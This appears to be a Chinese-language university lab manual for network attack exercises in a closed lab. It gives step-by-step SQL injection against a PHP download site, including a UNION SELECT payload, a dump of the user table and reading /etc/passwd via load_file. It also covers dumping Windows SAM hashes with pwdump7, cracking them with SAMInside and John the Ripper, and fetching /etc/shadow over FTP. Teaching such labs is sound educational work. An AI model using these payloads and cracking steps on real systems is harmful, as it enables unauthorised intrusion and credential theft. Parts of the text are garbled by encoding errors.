訪問目標Web服務器(即LinuxServerC,IP地址為03)的如下頁面。03/ymdown/如下圖所示

然后點擊其中任意一個軟件的鏈接,比如03/ymdown/show.php?id=1”。如下圖所示:2.在訪問的網頁URL地址后加上一個單引號(')繼續(xù)訪問,即03/ymdown/show.php?id=1',如下圖所示:從圖中可以看到mysql_fetch_array出錯消息,而且還暴露了網頁源文件路徑“/usr/local/apache/htdocs/ymdown/global.php”3、繼續(xù)手動測試SQL注入是否存在:訪問如下網頁URL地址:03/ymdown/show.php?id=1and1=1以及03/ymdown/show.php?id=1and1=2其中訪問第一個網頁地址的情況與正常情況相同,而訪問第二個網頁地址則無法正常顯示。4、進入實驗工具目錄,雙擊運行Casi程序(Casi4.exe),在“注入地址”輸入03/ymdown/show.php?id=1程序的主界面如下圖所示:5. 點擊“ScanNum”按鈕,Casi會探測出數據表的列數。如下圖所示:從Casi的探測進度中的最后一行:11/ymdown/show.php?id=1%20and%201=2%20union%20select%2051,18,17,16,15,14,13,12,11,10,9,8,7,6,5,4,3,2,1/*中可以看出,該示例的ymdown表的列數為19。而且,從下方的瀏覽器顯示頁面中可以看出,顯示為"18"以及"8"的地方本應顯示出軟件的名稱和描述,屬于"字符串"類型的數據,適合后面用來顯示數據庫敏感信息的選擇字段。6. 點擊“UnionSelect”按鈕,Casi會彈出一個“Select”對話框。如下圖所示:我們在"No.1Position"輸入框中輸入"18",后面的"FieldName"輸入框中保留為"username";在"No.2Position"輸入框中處輸入"8",后面的"FieldName"輸入框中保留為"password"。在"From"輸入框中輸入欲查看數據所在表的名稱為"ymdown_user"。點擊"OK"按鈕即可在下方顯示的瀏覽器頁面中將"id=1"的數據表內容在原來顯示"18"和"8"的地方顯示出來。如下圖所示:更改"Where"輸入框中的"id=1"為"id=2","id=3"…等,即可顯示ymdown_user表中第2,3…項的數據內容。請將“ymdown_user”表的所有數據內容全部寫入實驗報告。此外,查閱網絡資料,考慮如果不知道表中用戶的id為何值的時候,我們該如何構造數據庫SQL注入語句來獲得表中的數據。請將研究分析的心得體會寫入實驗報告。7.點擊“Load_file()”按鈕,Casi會彈出一個“LoadFile”對話框。如下圖所示:在"Position"輸入框中輸入"8",即本應顯示軟件描述的位置(因為可以顯示最多的字符串內容);在"substring"中輸入0和255;在"FilePath"輸入框中輸入要讀取的文件路徑,如Unix/Linux系統(tǒng)的用戶文件"/etc/passwd"。點擊"OK"按鈕,Casi將會彈出一個如下圖所示的對話框。在該對話框的文本框中包含了/etc/passwd文件的部分內容(內容的多少取決于本來該表段的最大長度以及我們所設置的"substring"值)。請將目標主機上“/etc/passwd”文件的完整內容寫入實驗報告。

3.口令破解攻擊 3.1.網絡服務口令遠程破解了解網絡服務口令破解的機制。學會使用常用的網絡口令破解工具來破解密碼和審計密碼的安全性。了解設置健壯的網絡服務口令的必要性。使用Brutus工具進行FTP、Pop3等多種網絡服務的口令破解。使用Hydra工具進行FTP、Pop3、MSSQL等多種網絡服務的口令破解。學生實驗主機:Windows2000/XP/Server2003。實驗目標服務器:WindowsServerA。網絡環(huán)境:局域網。Target:輸入你要破解的網絡服務站點的IP或者域名。Type:選擇網絡服務的類型。Port:設置連接端口,Brutus會根據網絡服務的類型自動填充默認的端口。如FTP->21,POP3->110等。ConnectOptionstelnetftppop3[-ntlm]imap[-ntlm]smbsmbnthttp[s]-{head|get}http-{get|post}-formhttp-proxyciscocisco-enablevncldap2ldap3mssqlmysqloracle-listenerpostgresnntpsocks5rexecrloginpcnfssnmprshcvssvnicqsapr3ssh2smtp-auth[-ntlm]pcanywhereteamspeaksipvmauthd3.2.Windows系統(tǒng)口令本地破解[實驗目的][實驗內容][實驗環(huán)境][實驗原理]WindowsNT系統(tǒng)密碼存儲的基本原理2000/XP/Server2003/Vista/7的用戶賬戶數據庫,所有用戶的登錄名及口令等相關信息都保存在這個文件中。系統(tǒng)在保存sam信息之前對sam信息進行了壓縮處理,因此,sam文件中的信息不可讀取。此外,注冊表HKLM\SAM\SAM下,叐到ACL保護,可以使用regedt32.exe打開注冊表編輯器并設置適當權限查看SAM中的內容。SAM數據庫在磁盤上就保存在%systemroot%system32\config\目錄下的SAM文件中,在這個目錄下還包括一個security文件,是安全數據庫的內容,兩者有丌少關系。SAM數據庫中包噸所有組、帳戶的信息,包括密碼HASH、帳戶的SID等。Windows系統(tǒng)在SAM中采用了兩種密碼的加密機制,所以,在sam文件中保存著兩個口令字,一個是LanMan版本的散列值(LM),另一個是NT版本的散列值(NTLM)。LanMan散列算法處理用戶口令的過程是:將用戶口令分成兩半,每一半都是7個字符(不足7個字符的以0x00補齊),然后分別對這兩個口令字加密,最后將加密后得到的散列值串連在一起,得到最終的LM散列值。從上述LM算法流程來看,可以發(fā)現LM安全性上的幾點不足:NTLM散列的安全性較LM有所提升,因為其明文空間擴展到了95^128,采用暴力破解的時間復雜度大大增加。但是NTLM散列和LM散列一樣,都沒有在算法中包含隨機數據(salt),所以仍然會受到字典攻擊。但由于NTLM的明文空間較大,其字典占用的空間也會呈幾何級數增長(NTLM的彩虹表大小為200G左右,而LM的彩虹表只需幾百兆即可),破解時間自然也較LM要長很多。SAM的導出方法通過物理接觸主機、啟動其他操作系統(tǒng)來獲取windows分區(qū)上的SAM文件。獲取%SystemRoot%\repair\sam文件。使用pwdump等工具從注冊表中導出SAM散列值,轉儲成類似與Unix系統(tǒng)的password格式文件。從網絡中嗅探分析SMB報文,從中獲取密碼散列字符串。Key或者Active@PasswordChangerProfessional等等。SAMInside則是將用戶密碼以可閱讀的明文方式破解出來,而且SAMInside可以使用分布式攻擊方式同時使用多臺計算機進行密碼的破解,大大提高破解速度。Windows賬戶密碼安全的防御方法對密碼進行復雜策略的限制在“開始”菜單中打開“運行”對話框,輸入“secpol.msc”打開本地安全策略編輯器,訪問“安全設置”→“帳戶策略”→“密碼策略”。分別進行如下設置:啟用“密碼必須符合復雜性要求”。設置“密碼長度的最小長度”:8位以上。設置“密碼的最長使用期限”:30天以上。禁用LM散列算法在“開始”菜單中打開“運行”對話框,輸入“secpol.msc”打開本地安全策略編輯器,訪問“安全設置”→“本地策略”→“安全選項”,然后在右側找到“網絡安全:不要在下次更改密碼時存儲LANManager的哈希值”的設置,將其啟用。啟用syskey機制給賬戶雙重加密。1、首先查看本地主機的密碼策略。在“開始”菜單中打開“運行”對話框,輸入“secpol.msc”打開“本地安全策略編輯器”。訪問“安全設置”→“帳戶策略”→“密碼策略”,進行如下設置:禁用“密碼必須符合復雜性要求”。設置“密碼長度的最小長度”:8位以上。然后訪問“安全設置”→“本地策略”→“安全選項”,然后在右側找到“網絡安全:不要在下次更改密碼時存儲LANManager的哈希值”的設置,確認或更改其設置為“禁用”(默認為“禁用”)。2、在本地計算機中新建一個用戶,密碼設置為8-14的隨機純數字組合,如用戶名為“test”,密碼為:“8967584106754”可打開一個命令提示符,輸入如下命令直接添加用戶。netusertest8967584106754/add當然,也可以通過控制面板中的用戶帳戶組件來添加新用戶并為其設置密碼。3、打開一個命令提示符,進入實驗工具目錄中的“pwdump7”,運行PwDump7.exe后即可直接顯示本地計算機上所有用戶及其密碼散列值(包括LM散列值和NTLM散列值)。上述輸出信息中每一行就是一個用戶的信息,基本格式如下:“用戶名:安全相對表示符(RID):LM散列:NTLM散列:::”接著,我們使用如下命令將上述用戶散列信息存儲到磁盤上的“C:\Sam.txt”文件中去。pwdump7>c:\sam.txt4、進入實驗工具目錄中的“SAMInside2.6.3”,雙擊運行SAMInside程序(SAMInside.exe),顯示主界面如下所示。5、點擊菜單項“File”→“ImportFromPWDUMP-file...”。然后選擇前面存儲的本機用戶密碼散列文件“C:\sam.txt”,點擊“打開”按鈕返回主界面。6、在“User”欄中僅選擇我們剛才添加的臨時用戶(如“test”)。7、點擊菜單項“Audit”,確認勾選“LM-HashAttack”,確認勾選“Brute-forceAttack”,即暴力破解方式。8、點擊菜單項“Service”“Options”,在左側選擇“Brute-forceAttack”,然后在右側定制暴力破解的字符集。9、點擊菜單項“Audit”→“StartAttack”開始破解密碼散列。破解瞬間完成,在上圖中可以看到成功破解了“test“用戶的密碼為“8967584106754”。3.3.Unix系統(tǒng)口令本地破解[實驗目的]了解Unix/Linux系統(tǒng)密碼的加密機制的機制。學會使用Unix本地密碼破解工具來破解密碼和審計密碼的安全性了解設置健壯的Unix口令,以及配置強壯密碼策略的必要性。[實驗內容]使用JohntheRipper破解Unix系統(tǒng)的密碼散列文件。[實驗環(huán)境]學生實驗主機:Windows2000/XP/Server2003。實驗目標服務器:LinuxServerC。網絡環(huán)境:局域網。[實驗原理]Unix/Linux系統(tǒng)密碼存儲的基本原理Unix/Linux(以下簡稱為*nix)系統(tǒng)使用passwd文件保存用戶信息,其中包括經過DES加密的用戶口令。如果系統(tǒng)采用shadow機制,則會將口令保存在shadow文件中,在passwd文件中只顯示“x”。對于一般用戶來說,passwd文件是可讀的(只對root用戶可寫),而shadow文件則是不可讀的。這兩個文件都位于/etc目錄下。密鑰,然后對一個64位的零字符塊進行DES加密,加密結果再次使用原有的密鑰進行加密,該過程重復25次,最終生成一個11字符長的字串。在此基礎上,*nix系統(tǒng)還使用摻雜其它數據的方法對口令加密,摻雜的數據又稱為Salt(鹽粒)。鹽粒一般為12位,基于系統(tǒng)時間來讀取值,取值范圍是0~4095。使用鹽粒后,一個完整的加密口令字串將由13個字符組成,其中,前兩個字符為鹽粒,后11個字符為真正的加密口令。例如,某個shadow文件的內容如下:$79n2arbVHhGiLe8TEQidn0:11699:0:99999:7:::bin:*:11699:0:99999:7:::…“$”符號開始,“$1”表示MD5,第二部分是8個字符的Salt,第三個部分是22個字符的經過哈希運算后的

用戶口令。密碼破解原理無論口令加密采用DES算法、MD5算法,還是其他機制,因為它們具有單向不可逆的特性,要想從算法本身去破解,難度相當大,通常只存在理論上的可能性。由于各種加密算法都是公開的,雖然逆向猜解不可行,但從正向猜解卻是很現實的。因為,設置口令的用戶是人,人們在設置口令時,習慣使用一些容易記憶且?guī)в忻黠@特征的口令,如用戶名、生日、電話號碼、親友姓名等,這就給我們破解口令帶來機會。我們可以制作一個字典文件:里面的條目都是經常用作口令的字串。猜解口令時,就從字典文件中讀出一個條目作為口令,使用與系統(tǒng)口令加密算法相同的方法進行加密,得到的字串與口令文件中的條目進行比較,如果相同,則猜解成功;否則,繼續(xù)下一次嘗試。最終結果可能得到了真正的用戶口令,也可能字典文件條目用盡而不能破解??诹钇平獾姆椒ㄖ饕亲值浞?,利用字典文件進行口令猜解。常見的口令猜解模式主要是:字典模式:即使用指定的字典文件進行口令猜解?;旌夏J剑杭粗付ㄗ值湟?guī)則,對字典條目進行某種形式的變化,增加字典內容,提高猜解的效率。暴力模式:即遍歷所有可能的密鑰空間,進行口令猜解。密碼破解方法UNIX系統(tǒng)使用passwd文件保存用戶的基本信息,包括用戶名、用戶口令等信息。如果系統(tǒng)使用shadow機制的話,則將把用戶口令單獨保存到shadow文件中,而在passwd文件中用“x”代替口令。一旦獲取到shadow文件和passwd文件后,就可以使用工具JohnTheRipper進行口令破解。JohntheRipper的特點本地破解,高效而且強大。可以破解標準和雙倍長度的DES、MD5和Blowfish算法。使用內部高度優(yōu)化的模塊以取代crypt(3)??梢話炱鸷椭匦聠悠平馊蝿?。已移植到多個平臺(如Windows)。用戶可以制定自己的單詞表和規(guī)則??梢垣@得已中斷或正在執(zhí)行的任務的狀態(tài)。可以制定所需破解的用戶或組。JohntheRipper命令行的參數功能解釋命令行方式:john[-功能選項][密碼文件名]注:所有的選項均對大小寫不敏感,而且也不需要全部輸入,只要在保證不與其他參數沖突的前提下輸入即可,如-restore參數只要輸入-res即可。-pwfile:[,..]:用于指定存放密文所在的文件名,(可以輸入多個,文件名以“,”分隔,也可以使用*或者?這兩個通配符引用一批文件)。也可以不使用此參數,將文件名放在命令行的最后即可。-wordfile:<字典文件名>-stdin:指定的用于解密用的字典文件名。你也可以使用STDIO來輸入,就是在鍵盤中輸入。-rules:在解密過程中使用單詞規(guī)則變化功能。如將嘗試cool單詞的其他可能,如COOLER、Cool等,詳細規(guī)則可以在JOHN.INI文件中的[List.Rules:Wordlist]部分查到。-incremental[:<模式名稱>]:使用遍歷模式,就是組合密碼的所有可能情況,同樣可以在JOHN.INI文件中的[Incremental:*****]部分查到,我們在下面詳細解釋。-single:使用單一模式進行解密,主要是根據用戶名產生變化來猜測解密。其組合規(guī)則可以在JOHN.INI文件中的[List.Rules:Single]部分查到,我們在下面詳細解釋。-external:<模式名稱>使用自定義的擴展解密模式,可以在john.ini中定義自己需要的密碼組合方式。JOHN也在INI文件中給出了幾個示例,在INI文件的[List.External:******]中所定義的自訂破解功能。-restore:<文件名>:繼續(xù)上次的破解工作,JOHN被中斷后,當前的解密進度情況被存放在RESTORE文件中,可以拷貝這個文件到一個新的文件中。如果參數后不帶文件名,JOHN默認使用RESTORE文件。-makechars:<文件名>:制作一個字符表,你所指定的文件如果存在,則將會被覆蓋。JOHN嘗試使用內在規(guī)則在相應密匙空間中生成一個最有可能擊中的密碼組合,它會參考在JOHN.POT文件中已經存在的密匙。-show:顯示已經破解出的密碼,因為JOHN.POT文件中并不包含用戶名,同時你應該輸入相應的包含密碼的文件名,JOHN會輸出已經被解密的用戶連同密碼的詳細表格。-test:測試當前機器運行JOHN的解密速度,需要1分鐘,它會得出在當前的情況下解密的各種可能情況下相應的解密速度,如同時解密100個用戶時的平均速度,使用遍歷法解密模式時解密的速度。salts指用戶個數,如果給出的對于100個用戶解密的平均速度為18000次/秒,那么表明同時對100個用戶解密,解密的速度為每個180次/秒。因為絕大多數的時間被用于密匙比較過程中了。所以應該對用戶進行挑選。-users:-shells:[!][,..]:和上面的參數一樣,這一選項可以選擇對所有可以使用shell的用戶進行解密,對其他用戶不予理睬?!?!”就是表示不要某些類型的用戶。例如:“-shells:csh”。-salts:[!]:只選擇解密用戶大于的帳號,可以使你得到選擇的權利,盡快的得到所需要的用戶的PASS。-lamesalts:指定用戶中密碼所使用的cleartext。-timeout:<幾分鐘>:指定解密持續(xù)的時間,到時間JOHN自動停止運行。-list:在解密過程中在屏幕上列出所有正在嘗試使用的密碼,建議不要使用,它會將大部分時間浪費在顯示上,極大地拖慢解密速度。一般只是適用于重定向輸出到文件后,檢驗你所設定的某些模式是否正常。-beep-quiet:當解密出密碼時是否要讓PC喇叭叫一下以提醒你。-noname-nohash:不使用內存來保存“用戶名”等內容。-des-md5:指定使用的解密方式是解DES還是MD5,對于解密DES密碼不用理會這[實驗過程]打開一個命令提示符,運行“ftp”命令,出現如下圖所示的FTP客戶端交互界面。在ftp交互界面中依次輸入如下指令登錄目標服務器(LinuxServerC,IP地址為03)的FTP站點。open03ftpuserftpuser如果成功登錄的話,應該能夠看到如下圖所示的提示消息,最后一行為“230Loginsuccessful.Have

fun.”然后我們可以輸入“pwd”命令顯示當前所在的目錄;輸入“dir”命令顯示當前目錄下的子目錄和文件。我們嘗試是否可以進入的FTP的父目錄中去獲取系統(tǒng)的敏感文件,如存放系統(tǒng)用戶配置和密碼信息的文件:/etc/passwd和/etc/shadow等。輸入“cd..”ftp命令可以進入到父目錄中;輸入“cd/”ftp命令可以進入到根目錄中。這里我們首先輸入“cd/etc”命令則可以進入到“/etc”系統(tǒng)配置目錄中,然后運行“dir”命令來查看/etc中所

溫馨提示

  • 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請下載最新的WinRAR軟件解壓。
  • 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請聯系上傳者。文件的所有權益歸上傳用戶所有。
  • 3. 本站RAR壓縮包中若帶圖紙,網頁內容里面會有圖紙預覽,若沒有圖紙預覽就沒有圖紙。
  • 4. 未經權益所有人同意不得將文件中的內容挪作商業(yè)或盈利用途。
  • 5. 人人文庫網僅提供信息存儲空間,僅對用戶上傳內容的表現方式做保護處理,對用戶上傳分享的文檔內容本身不做任何修改或編輯,并不能對任何下載內容負責。
  • 6. 下載文件中如有侵權或不適當內容,請與我們聯系,我們立即糾正。
  • 7. 本站不保證下載資源的準確性、安全性和完整性, 同時也不承擔用戶因使用這些下載資源對自己和他人造成任何形式的傷害或損失。

評論

0/150

提交評論